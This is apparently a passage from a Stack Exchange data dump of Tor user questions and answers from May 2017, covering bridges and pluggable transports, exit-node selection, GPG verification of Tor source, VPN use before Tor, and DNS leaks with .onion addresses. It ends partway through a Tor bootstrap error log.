  <row Id="14808" PostTypeId="1" AcceptedAnswerId="14810" CreationDate="2017-05-18T15:56:54.167" Score="0" ViewCount="68" Body="&lt;p&gt;In order to use a pluggable transport, is one required to connect through a Tor &lt;em&gt;bridge&lt;/em&gt;, or do regular public ingress &lt;em&gt;relays&lt;/em&gt; also support transports (such as &lt;em&gt;obfs&lt;/em&gt; N) ?&lt;/p&gt;&#xA;" OwnerUserId="14493" LastActivityDate="2017-05-18T20:29:45.483" Title="Do regular public relays understand pluggable transports?" Tags="|pluggable-transports|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14809" PostTypeId="1" CreationDate="2017-05-18T19:16:07.907" Score="0" ViewCount="70" Body="&lt;p&gt;I have a modem/router combo with phone service, I also have more than one computer running on my network, last evening not to lone after I closed my browser and pulled me flash drive I noticed that my DELL displayed a window with an error stating that there was a conflict between the DELL and the ASUS machines. After doing some looking around in both machines I did find within my ASUS command prompt and the DELL event viewer they did in fact hold the same address. Is this due to the TOR browser? Does TOR configure the network within the modem/router, or is it individual? I had an online chat with my ISP. Simple fix, unplug the router for 10 seconds, shut down both machines before plugging back in, after power up the issue is resolved.&lt;/p&gt;&#xA;" OwnerUserId="17515" LastActivityDate="2017-05-18T20:31:53.160" Title="IP address conflict" Tags="|network-configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14810" PostTypeId="2" ParentId="14808" CreationDate="2017-05-18T20:29:45.483" Score="0" Body="&lt;p&gt;No, you have to use bridges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it's possible for relays to run a pluggable transport server and connect them to their ORPort, theres no means to distribute information and what pluggable transports they provide and where. Theres also no real reason that they should either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So while it's not &lt;em&gt;required&lt;/em&gt; it is the only way you'll have some delivery mechanism for the necessary &lt;code&gt;Bridge&lt;/code&gt; lines to use them. There's also no real method for relays to use them in connections between themselves. A Tor relay &lt;em&gt;should&lt;/em&gt; be able to make connections to any other relay, uncensored, so pluggable transports would only be a hinderance.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-05-18T20:29:45.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14811" PostTypeId="2" ParentId="14809" CreationDate="2017-05-18T20:31:53.160" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is this due to the TOR browser? Does TOR configure the network within the modem/router, or is it individual?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. Tor doesn't change your network configuration.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-05-18T20:31:53.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14812" PostTypeId="1" CreationDate="2017-05-19T04:28:28.843" Score="2" ViewCount="771" Body="&lt;p&gt;Sometimes I come across &lt;code&gt;.onion&lt;/code&gt; links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I know if the content inside is legal without actually going there first?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scenario&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Hey everyone! Go to &lt;a href=&quot;https://3g2upl4pq6kufc4m.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://3g2upl4pq6kufc4m.onion/&lt;/a&gt; to learn how to easily peel oranges!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How do I know that the URL is actually legal to visit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(the URL above points to the DuckDuckGo search engine)&lt;/p&gt;&#xA;" OwnerUserId="17520" LastEditorUserId="12737" LastEditDate="2017-05-20T14:59:51.867" LastActivityDate="2018-10-25T10:00:28.980" Title="Preview site content safely" Tags="|tor-browser-bundle|onion-routing|website|url|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14813" PostTypeId="1" CreationDate="2017-05-19T11:35:32.663" Score="1" ViewCount="1819" Body="&lt;p&gt;Windows 10 with&#xA;Tor browser 6.5.2 (based on Mozilla Firefox 45.9.0)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that I was using  exit node from Argentina (&lt;code&gt;AR&lt;/code&gt;) in my &lt;code&gt;torrc&lt;/code&gt; file without problem till now. &#xA;From today with AR exit node - I can not connect to any websites. As soon as I remove the AR exit node - Tor makes a random circuit and everything is working. Also as a test if I put GB as exit node - that is also working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what is wrong with AR exit node?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the only change I have made in torrc file. And I even reinstalled TOR and tried it again - still not working.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;StrictNodes 1&#xA;ExitNodes {AR}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas and suggestions are welcome. Also I am new here - let me know if more information is needed. &lt;/p&gt;&#xA;" OwnerUserId="17525" LastEditorUserId="88" LastEditDate="2017-05-19T12:48:40.373" LastActivityDate="2017-05-19T12:55:15.560" Title="Argentinian Exit node not working on Tor" Tags="|configuration|exit-relays|" AnswerCount="1" CommentCount="0" ClosedDate="2017-05-22T09:19:43.403" ContentLicense="CC BY-SA 3.0" />
  <row Id="14814" PostTypeId="2" ParentId="14813" CreationDate="2017-05-19T12:55:15.560" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://atlas.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Atlas&lt;/a&gt; has information about relays in the Tor network. When you search for &lt;a href=&quot;https://atlas.torproject.org/#search/country:ar&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;country:ar&lt;/code&gt;&lt;/a&gt; Atlas outputs:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;No Results found!&lt;br /&gt;&#xA;  No Tor relays matched your query :(&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This means that currently there are no active Tor relays in Argentina. If you know relay operators in Argentina you can encourage them to run their relays again or ask other people to start running relays there.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2017-05-19T12:55:15.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14816" PostTypeId="1" CreationDate="2017-05-19T16:36:55.027" Score="1" ViewCount="421" Body="&lt;p&gt;I use my hidden service as a way to access my home computer from my phone securely and regardless of any IP changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today, I installed the Tor Browser. After I launched it, the hidden service became unavailable both from the computer and the phone. The moment I closed it, I could access the service from my phone again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, there is a conflict.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Up until now, I used &lt;code&gt;tor&lt;/code&gt;. I configured it to run automatically as soon as the system loads. I don't even remember how I did that, and I mean it. Which is also part of the issue, because I can't find any of the configuration files (with the exception of &lt;code&gt;torrc&lt;/code&gt;), otherwise, I might have solved the problem by now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, there's a &lt;code&gt;torrc&lt;/code&gt; file in &lt;code&gt;/etc/tor&lt;/code&gt;. Apparently, the Tor Browser also has one. Could that be the source of the problem? How do I resolve the conflict?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose, I could just ignore the problem and not use the hidden service when I'm using the Tor Browser, but what if I forget to close it and try to access the computer later?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: renaming &lt;code&gt;./tor-browser_en-US/Browser/TorBrowser/Data/Tor/torrc&lt;/code&gt; to something else helped, but that's trial and error, I still am not sure what kind of consequences this can cause. Besides, maybe it's just a single line that causes the problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if this is the solution or simply a workaround that doesn't actually help to solve the real problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's what I eliminate by essentially removing the &lt;code&gt;torrc&lt;/code&gt; file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DataDirectory /opt/tor-browser_en-US/Browser/TorBrowser/Data/Tor&#xA;GeoIPFile /opt/tor-browser_en-US/Browser/TorBrowser/Data/Tor/geoip&#xA;GeoIPv6File /opt/tor-browser_en-US/Browser/TorBrowser/Data/Tor/geoip6&#xA;HiddenServiceStatistics 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For all I know, this might be important.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the log.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't see anything I can connect to the problem.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;May 19 07:35:01.000 [notice] Tor 0.2.9.10 (git-################) opening new log file.&#xA;May 19 08:59:51.000 [notice] Heartbeat: Tor's uptime is 29 days 23:59 hours, with 9 circuits open. I've sent 33.58 MB and received 115.65 MB.&#xA;May 19 14:59:51.000 [notice] Heartbeat: Tor's uptime is 30 days 5:59 hours, with 6 circuits open. I've sent 35.66 MB and received 117.97 MB.&#xA;May 19 18:41:38.000 [warn] Socks version 71 not recognized. (Tor is not an http proxy.)&#xA;May 19 18:41:38.000 [warn] Socks version 71 not recognized. (Tor is not an http proxy.)&#xA;May 19 18:44:18.000 [notice] No circuits are opened. Relaxed timeout for circuit 2594 (a General-purpose client 4-hop circuit in state doing handshakes with channel state open) to 60000ms. However, it appears the circuit has timed out anyway. 7 guards are live. [5 similar message(s) suppressed in last 3600 seconds]&#xA;May 19 18:45:20.000 [notice] Tor has not observed any network activity for the past 427 seconds. Disabling circuit build timeout recording.&#xA;May 19 18:46:21.000 [notice] Our IP address has changed.  Rotating keys...&#xA;May 19 18:46:21.000 [notice] Tor now sees network activity. Restoring circuit build timeout recording. Network was down for 487 seconds during 3 circuit attempts.&#xA;May 19 19:02:46.000 [notice] Tor has not observed any network activity for the past 984 seconds. Disabling circuit build timeout recording.&#xA;May 19 19:02:47.000 [notice] Our IP address has changed.  Rotating keys...&#xA;May 19 19:02:48.000 [notice] Tor now sees network activity. Restoring circuit build timeout recording. Network was down for 985 seconds during 2 circuit attempts.&#xA;May 19 20:14:28.000 [warn] Socks version 71 not recognized. (Tor is not an http proxy.)&#xA;May 19 20:14:28.000 [warn] Socks version 71 not recognized. (Tor is not an http proxy.)&#xA;May 19 20:59:51.000 [notice] Heartbeat: Tor's uptime is 30 days 11:59 hours, with 6 circuits open. I've sent 36.24 MB and received 119.57 MB.&#xA;May 20 02:59:51.000 [notice] Heartbeat: Tor's uptime is 30 days 17:59 hours, with 6 circuits open. I've sent 37.16 MB and received 123.34 MB.&#xA;May 20 07:35:02.000 [notice] Received reload signal (hup). Reloading config and resetting internal state.&#xA;May 20 07:35:02.000 [notice] Read configuration file &quot;/usr/share/tor/tor-service-defaults-torrc&quot;.&#xA;May 20 07:35:02.000 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17530" LastEditorUserId="17530" LastEditDate="2017-05-23T09:00:17.700" LastActivityDate="2017-05-23T09:00:17.700" Title="My hidden service fails to load as long as the Tor Browser is open on the same host" Tags="|tor-browser-bundle|configuration|onion-services|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14819" PostTypeId="1" AcceptedAnswerId="14821" CreationDate="2017-05-20T10:45:39.140" Score="1" ViewCount="1924" Body="&lt;p&gt;Good time of the day! I downloaded Tor source code and the signature on a new board, started to check it - and it does not verify! OS is Armbian, no GPG-stuff was ever performed on the installation, i.e. no reconfiguration and so forth. Here is the output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@orangepipc:/usr/work# wget https://www.torproject.org/dist/tor-0.3.0.7.tar.gz.asc&#xA;--2017-05-20 12:53:10--  https://www.torproject.org/dist/tor-0.3.0.7.tar.gz.asc&#xA;Resolving www.torproject.org (www.torproject.org)... 138.201.14.197, 89.45.235.21, 82.195.75.101, ...&#xA;Connecting to www.torproject.org (www.torproject.org)|138.201.14.197|:443... connected.&#xA;HTTP request sent, awaiting response... 302 Found&#xA;Location: https://dist.torproject.org/tor-0.3.0.7.tar.gz.asc [following]&#xA;--2017-05-20 12:53:10--  https://dist.torproject.org/tor-0.3.0.7.tar.gz.asc&#xA;Resolving dist.torproject.org (dist.torproject.org)... 82.195.75.101, 78.47.38.226, 38.229.72.16, ...&#xA;Connecting to dist.torproject.org (dist.torproject.org)|82.195.75.101|:443... connected.&#xA;HTTP request sent, awaiting response... 200 OK&#xA;Length: 801 [text/plain]&#xA;Saving to: ‘tor-0.3.0.7.tar.gz.asc’&#xA;&#xA;tor-0.3.0.7.tar.gz.asc      100%[==========================================&amp;gt;]     801  --.-KB/s   in 0s&#xA;&#xA;2017-05-20 12:53:11 (1.56 MB/s) - ‘tor-0.3.0.7.tar.gz.asc’ saved [801/801]&#xA;&#xA;&#xA;root@orangepipc:/usr/work# gpg --keyserver pool.sks-keyservers.net --recv-keys 0x4E2C6E8793298290&#xA;gpg: requesting key 93298290 from hkp server pool.sks-keyservers.net&#xA;gpg: /root/.gnupg/trustdb.gpg: trustdb created&#xA;gpg: key 93298290: public key &quot;Tor Browser Developers (signing key) &amp;lt;torbrowser@torproject.org&amp;gt;&quot; imported&#xA;gpg: no ultimately trusted keys found&#xA;gpg: Total number processed: 1&#xA;gpg:               imported: 1  (RSA: 1)&#xA;root@orangepipc:/usr/work# gpg --verify tor-0.3.0.7.tar.gz.asc tor-0.3.0.7.tar.gz&#xA;gpg: Signature made Tue 16 May 2017 01:51:46 AM MSK using RSA key ID 9E92B601&#xA;gpg: Can't check signature: public key not found&#xA;root@orangepipc:/usr/work# gpg --fingerprint 0x4E2C6E8793298290&#xA;pub   4096R/93298290 2014-12-15 [expires: 2020-08-24]&#xA;      Key fingerprint = EF6E 286D DA85 EA2A 4BA7  DE68 4E2C 6E87 9329 8290&#xA;uid                  Tor Browser Developers (signing key) &amp;lt;torbrowser@torproject.org&amp;gt;&#xA;sub   4096R/F65C2036 2014-12-15 [expires: 2017-08-25]&#xA;sub   4096R/D40814E0 2014-12-15 [expires: 2017-08-25]&#xA;sub   4096R/C3C07136 2016-08-24 [expires: 2018-08-24]&#xA;&#xA;root@orangepipc:/usr/work# gpg --verify tor-0.3.0.7.tar.gz.asc tor-0.3.0.7.tar.gz&#xA;gpg: Signature made Tue 16 May 2017 01:51:46 AM MSK using RSA key ID 9E92B601&#xA;gpg: Can't check signature: public key not found&#xA;root@orangepipc:/usr/work#&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="12737" LastEditDate="2017-05-20T16:20:19.627" LastActivityDate="2017-05-20T16:24:19.687" Title="public key not found" Tags="|censorship|attacks|tor-install|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14821" PostTypeId="2" ParentId="14819" CreationDate="2017-05-20T11:10:27.610" Score="1" Body="&lt;p&gt;Well, it seems that it is signed by a different key from &lt;a href=&quot;https://www.torproject.org/docs/signing-keys.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor developers keys&lt;/a&gt; - they should defenately update the scripts and manuals! It seems to be fixed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@orangepipc:/usr/work# gpg --verify tor-0.3.0.7.tar.gz.asc tor-0.3.0.7.tar.gz&#xA;gpg: Signature made Tue 16 May 2017 01:51:46 AM MSK using RSA key ID 9E92B601&#xA;gpg: Can't check signature: public key not found&#xA;root@orangepipc:/usr/work# gpg  --keyserver pool.sks-keyservers.net --recv-keys 0x6AFEE6D49E92B601&#xA;gpg: requesting key 9E92B601 from hkp server pool.sks-keyservers.net&#xA;gpg: key 4607B1FB: public key &quot;Nick Mathewson &amp;lt;nickm@alum.mit.edu&amp;gt;&quot; imported&#xA;gpg: no ultimately trusted keys found&#xA;gpg: Total number processed: 1&#xA;gpg:               imported: 1  (RSA: 1)&#xA;root@orangepipc:/usr/work# gpg --verify tor-0.3.0.7.tar.gz.asc tor-0.3.0.7.tar.gz&#xA;gpg: Signature made Tue 16 May 2017 01:51:46 AM MSK using RSA key ID 9E92B601&#xA;gpg: Good signature from &quot;Nick Mathewson &amp;lt;nickm@alum.mit.edu&amp;gt;&quot;&#xA;gpg:                 aka &quot;Nick Mathewson &amp;lt;nickm@wangafu.net&amp;gt;&quot;&#xA;gpg:                 aka &quot;Nick Mathewson &amp;lt;nickm@freehaven.net&amp;gt;&quot;&#xA;gpg:                 aka &quot;Nick Mathewson &amp;lt;nickm@torproject.org&amp;gt;&quot;&#xA;gpg: WARNING: This key is not certified with a trusted signature!&#xA;gpg:          There is no indication that the signature belongs to the owner.&#xA;Primary key fingerprint: 2133 BC60 0AB1 33E1 D826  D173 FE43 009C 4607 B1FB&#xA;     Subkey fingerprint: 7A02 B352 1DC7 5C54 2BA0  1545 6AFE E6D4 9E92 B601&#xA;root@orangepipc:/usr/work#&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-05-20T11:10:27.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14822" PostTypeId="2" ParentId="14819" CreationDate="2017-05-20T14:26:17.383" Score="1" Body="&lt;p&gt;You should read the &lt;a href=&quot;https://www.torproject.org/docs/signing-keys.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Project website&lt;/a&gt; on it's sigining keys, where it clearly states:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Roger Dingledine (0x28988BF5 and 0x19F78451) or Nick Mathewson (0xFE43009C4607B1FB with signing key &lt;strong&gt;0x6AFEE6D49E92B601&lt;/strong&gt;) &lt;strong&gt;sign the Tor source code tarballs.&lt;/strong&gt; (Nick's old key was 0x165733EA with signing key 0x8D29319A; it signed older tarballs.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;If you read the page that &lt;em&gt;you&lt;/em&gt; suggested &lt;em&gt;I&lt;/em&gt; read, it says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h3&gt;Where do I get the signatures and the keys that made them?&lt;/h3&gt;&#xA;&lt;p&gt;Each file on our download page is accompanied by a file with the same name as the package and the extension &amp;quot;.asc&amp;quot;. These .asc files are GPG signatures. They allow you to verify the file you've downloaded is exactly the one that we intended you to get. For example, torbrowser-install-6.5.2_en-US.exe is accompanied by torbrowser-install-6.5.2_en-US.exe.asc. &lt;strong&gt;For a list of which developer signs which package, see our &lt;a href=&quot;https://www.torproject.org/docs/signing-keys.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;signing keys&lt;/a&gt; page.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Which then provides you information above, and the correct key.&lt;/p&gt;&#xA;&lt;p&gt;I'm not sure how much clearer you'd like the documentation to be.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2017-05-20T16:24:19.687" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14823" PostTypeId="1" CreationDate="2017-05-20T17:14:00.097" Score="1" ViewCount="280" Body="&lt;p&gt;Could usage of public VPN before TOR be more dangerous than only TOR ? With public VPN we hide from ISP that we are using TOR, but VPN know our IP and that we use TOR. Could VPN use some scripts that deanonymize TOR ?&lt;/p&gt;&#xA;" OwnerUserId="17549" LastActivityDate="2017-05-20T20:03:26.430" Title="Usage of public VPN before TOR" Tags="|anonymity|vpn|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14824" PostTypeId="2" ParentId="14823" CreationDate="2017-05-20T20:03:26.430" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;With public VPN we hide from ISP that we are using TOR&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If an ISP carefully observed VPN traffic, it could discern that you were using Tor over the VPN. It might provide plausible cover to a casual obvserver but likely wouldn't stand up to scrutiny. The VPN may encrypt the traffic, but packet timings and other artifacts of the traffic being sent across the VPN would still be possible to discern (with closer technical inspection) and VPNs make no attempt to obfuscate them.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Could VPN use some scripts that deanonymize TOR?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not on it's own, no. It sees as much as your ISP does however VPNs could act as a choke point into the network, if many people used some VPN to connect to Tor over then that VPN gets to see a lot of peoples Tor entry traffic &lt;em&gt;and&lt;/em&gt; knows who those people are, if had a collaborating evil exit node then it could make you more vulnerable to correlation attacks and as noted, the ISP too could probably act in this position, with or without a VPN.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Could usage of public VPN before TOR be more dangerous than only TOR ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Potentially. Using a VPN can increase risk since it exposes your traffic to more parties that it ever needs be exposed to, providing more positions where your traffic could be observed from than are needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It depends who's looking, what they're looking for and how hard they're looking for it.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-05-20T20:03:26.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14825" PostTypeId="1" CreationDate="2017-05-21T03:42:30.000" Score="1" ViewCount="70" Body="&lt;p&gt;I noticed that on occasion my browser has this opened by default when opening Tor Browser bundle and wont allow the appearance tag to work when I select options, but instead doesn't show any. In some instances it shows just one. Once I choose an option the security settings are needed to be restored too&lt;/p&gt;&#xA;" OwnerUserId="17556" LastActivityDate="2017-05-21T14:57:23.710" Title="NoScript settings by default have Allow Scripts Globally (dangerous) ticked" Tags="|security|noscript|" AnswerCount="0" CommentCount="1" ClosedDate="2017-05-22T08:23:42.097" ContentLicense="CC BY-SA 3.0" />
  <row Id="14834" PostTypeId="1" AcceptedAnswerId="14836" CreationDate="2017-05-22T06:37:08.843" Score="3" ViewCount="844" Body="&lt;p&gt;I want to perform tasks other than web browsing over Tor, for example XMPP chat. I don't want to have to rely on a Tor implementation in the applications themselves, but I do want to avoid leaking my IP address directly or via DNS lookups. (I understand that I'll still be relying on the application and protocol to not disclose my identity/location in other ways, e.g. fingerprinting.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I access remote servers using only .onion addresses (hidden services), will I avoid any leaks? In other words, because it's a .onion address there won't be any regular DNS lookups, IP accesses, etc.&lt;/p&gt;&#xA;" OwnerUserId="17571" LastActivityDate="2017-11-08T17:29:54.837" Title="Are .onion addresses leak-proof?" Tags="|configuration|onion-services|deanonymization|ip-address-leak|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14835" PostTypeId="2" ParentId="1891" CreationDate="2017-05-22T08:26:28.520" Score="2" Body="&lt;p&gt;&lt;strong&gt;WARNING: the following setting stores a history of your pages which might oppose your reason for using Tor.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't found a solution for all sites but here is one that at least remembers the option for visited pages:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enter &lt;code&gt;about:config&lt;/code&gt; in address bar, search for &lt;code&gt;permissions.memory_only&lt;/code&gt; and set it to &lt;code&gt;false&lt;/code&gt;. Next time you visit a page click &lt;code&gt;Never for this site&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="17572" LastActivityDate="2017-05-22T08:26:28.520" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14836" PostTypeId="2" ParentId="14834" CreationDate="2017-05-22T12:04:02.230" Score="6" Body="&lt;p&gt;No, &lt;code&gt;.onion&lt;/code&gt;'s are not exempt from DNS leaks.&lt;/p&gt;&#xA;&lt;p&gt;Since it's possible for people to run local DNS &lt;a href=&quot;https://en.wikipedia.org/wiki/Generic_top-level_domain&quot; rel=&quot;nofollow noreferrer&quot;&gt;gTLDs&lt;/a&gt;, DNS infrastructure will generally respect and dutifully perform lookups for invalid domain names. DNS itself is agnostic to the gTLD being valid or not, with &lt;a href=&quot;https://en.wikipedia.org/wiki/Top-level_domain#Reserved_domains&quot; rel=&quot;nofollow noreferrer&quot;&gt;a few exceptions&lt;/a&gt; (for example &lt;code&gt;.invalid&lt;/code&gt; &lt;em&gt;should&lt;/em&gt; always fail).&lt;/p&gt;&#xA;&lt;p&gt;There is an RFC covering &lt;code&gt;.onion&lt;/code&gt; which should stop DNS leaks from propagating, &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc7686&quot; rel=&quot;nofollow noreferrer&quot;&gt;RFC 7686&lt;/a&gt; but it isn't widely implemented yet &lt;em&gt;(anyone except Firefox?)&lt;/em&gt; and even if it were I wouldn't rely on the implementation of it in some software to stop DNS leaks. Even if the upstream DNS did drop the request because of it's &lt;code&gt;.onion&lt;/code&gt; gTLD, it has still already leaked:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A legacy client may inadvertently attempt to resolve a .onion name through the DNS.  This causes a disclosure that the client is attempting to use Tor to reach a specific service. (RFC 7686)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;If DNS leaks are a concern you should take appropriate steps to ensure that they cannot happen in the first place, by using a packet filter (e.g. blocking outbound &lt;code&gt;53/{tcp,udp}&lt;/code&gt; and using Tor's &lt;code&gt;DNSPort&lt;/code&gt;) or any other suitable means.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2021-10-07T07:34:52.683" LastActivityDate="2017-05-22T12:32:18.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14838" PostTypeId="1" CreationDate="2017-05-22T14:16:35.163" Score="1" ViewCount="5080" Body="&lt;p&gt;For some reason I can't get to use Tor... &#xA;First, I got an error that one error and, after trying something that I saw in another question (using bridges), I got another (?) I dont know if its the same...&#xA;Can someone help? I'm at a company desktop&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor failed to establish a Tor network connection.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Establishing an encrypted directory connection failed (connection&#xA;  timeout - 109.105.109.162:60784).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Tor failed to establish a Tor network connection.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Establishing an encrypted directory connection failed (done -&#xA;  194.109.206.212:443).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;22/05/2017 10:48:25.000 [NOTICE] DisableNetwork is set. Tor will not&#xA;  make or accept non-control network connections. Shutting down all&#xA;  existing connections.  22/05/2017 10:48:25.000 [NOTICE] DisableNetwork&#xA;  is set. Tor will not make or accept non-control network connections.&#xA;  Shutting down all existing connections.  22/05/2017 10:48:25.000&#xA;  [NOTICE] DisableNetwork is set. Tor will not make or accept&#xA;  non-control network connections. Shutting down all existing&#xA;  connections.  22/05/2017 10:48:25.000 [NOTICE] Opening Socks listener&#xA;  on 127.0.0.1:9150  22/05/2017 10:48:25.400 [NOTICE] Bootstrapped 5%:&#xA;  Connecting to directory server  22/05/2017 10:48:26.400 [NOTICE]&#xA;  Bootstrapped 10%: Finishing handshake with directory server &#xA;  22/05/2017 10:54:17.400 [WARN] Problem bootstrapping. Stuck at 10%:&#xA;  Finishing handshake with directory server. (Connection timed out&#xA;  [WSAETIMEDOUT ]; TIMEOUT; count 10; recommendation warn; host&#xA;  32EE911D968BE3E016ECA572BB1ED0A9EE43FC2F at 109.105.109.162:60784) &#xA;  22/05/2017 10:54:17.400 [WARN] 9 connections have failed:  22/05/2017&#xA;  10:54:17.400 [WARN]  5 connections died in state handshaking (TLS)&#xA;  with SSL state SSLv2/v3 read server hello A in HANDSHAKE  22/05/2017&#xA;  10:54:17.400 [WARN]  4 connections died in state connect()ing with SSL&#xA;  state (No SSL object)  22/05/2017 10:55:22.400 [NOTICE] Closing&#xA;  no-longer-configured Socks listener on 127.0.0.1:9150  22/05/2017&#xA;  10:55:22.400 [NOTICE] DisableNetwork is set. Tor will not make or&#xA;  accept non-control network connections. Shutting down all existing&#xA;  connections.  22/05/2017 10:55:22.400 [NOTICE] Closing old Socks&#xA;  listener on 127.0.0.1:9150  22/05/2017 10:55:22.400 [WARN] Problem&#xA;  bootstrapping. Stuck at 10%: Finishing handshake with directory&#xA;  server. (DONE; DONE; count 11; recommendation warn; host&#xA;  7EA6EAD6FD83083C538F44038BBFA077587DD755 at 194.109.206.212:443) &#xA;  22/05/2017 10:55:22.400 [WARN] 11 connections have failed:  22/05/2017&#xA;  10:55:22.400 [WARN]  6 connections died in state handshaking (TLS)&#xA;  with SSL state SSLv2/v3 read server hello A in HANDSHAKE  22/05/2017&#xA;  10:55:22.400 [WARN]  5 connections died in state connect()ing with SSL&#xA;  state (No SSL object)  22/05/2017 10:55:32.000 [WARN] Problem&#xA;  bootstrapping. Stuck at 10%: Finishing handshake with directory&#xA;  server. (DONE; DONE; count 12; recommendation warn; host&#xA;  92CFD9565B24646CAC2D172D3DB503D69E777B8A at 178.16.208.57:443) &#xA;  22/05/2017 10:55:32.000 [WARN] 12 connections have failed:  22/05/2017&#xA;  10:55:32.000 